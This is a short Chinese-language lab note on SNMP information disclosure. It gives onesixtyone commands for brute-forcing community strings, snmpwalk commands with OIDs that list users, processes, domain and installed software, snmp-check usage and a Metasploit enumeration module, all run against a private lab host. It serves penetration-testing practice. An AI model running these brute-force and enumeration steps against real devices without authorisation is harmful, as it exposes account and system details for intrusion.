snmp信息泄露可读指令
SNMP(简单网络管理协议):该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。目前共有 V1、V2、V3 三个版本,应用比较广泛的还是前两个版本,同时存在安全问题也较多。PS:本次复现宿主机snmp端口未开启,也可以进行信息读取
复现准备
复现需要一台windows server打开snmp服务 参考https://www.xxshell.com/946.html
一台kali作为攻击机
SNMP扫描工具onesixtyone
参数:
- -c 文件与社区名称的尝试
-i 文件与目标主机
-o 输出日志
-p 指定一个备用的SNMP目的端口
-d 调试模式,使用两次获取更多信息
-s short模式,只打印IP地址
-w n等待n毫秒(1/1000秒)发送数据包(默认10)
首先在你不知道团体社区名称 可使用onesixtyone字典对宿主机进行团体社区爆破,
dpkg -L onesixtyone
然后使用onesixtyone进行爆破
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 192.168.23.154 -o 123.log -w 100
当然也支持批量爆破
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt -i 1.txt -o 123.log -w 100
snmpwalk获取信息
snmp 服务器的默认密码为 public
-v: 指定SNMP协议版本 有1|2c|3 一般使用2c
-c: 密钥 指定连接设备SNMP读密码
snmpwalk 192.168.23.154 -c public -v 2c
获取ip信息
snmpwalk 192.168.23.154 -c public -v 2c .1.3.6.1.2.1.4.20
获取内存信息
snmpwalk 192.168.23.154 -c public -v 2c .1.3.6.1.2.1.25.2.2
当前进程列表
.1.3.6.1.2.1.25.4.2.1.2
系统用户列表
.1.3.6.1.4.1.77.1.2.25.1.1
列 出 域 名
.1.3.6.1.4.1.77.1.4.1.0
列出安装软件
.1.3.6.1.2.1.25.6.3.1.2
列出系统信息
.1.3.6.1.2.1.1
SNMP扫描工具snmp-check
获取信息,比较全
snmp-check 192.168.23.154 -c public -v 2c
参数:
-p——port: SNMP端口。默认端口为161;
-c——community: SNMP团体字。默认是公开的;
-v——version: SNMP版本号(1,2c)。默认是1;
-w——write:检测写访问(通过枚举分离操作);
-d——disable_tcp:禁用TCP连接枚举!
-t——timeout:超时时间。默认是5;
-r——retries:请求重试。默认是1;
-i——info:显示脚本版本;
-h——help:显示帮助菜单;
Msf获取信息
auxiliary/scanner/snmp/snmp_enum
作用:获取到community 如果有可读权限可以使用这个模块读取系统信息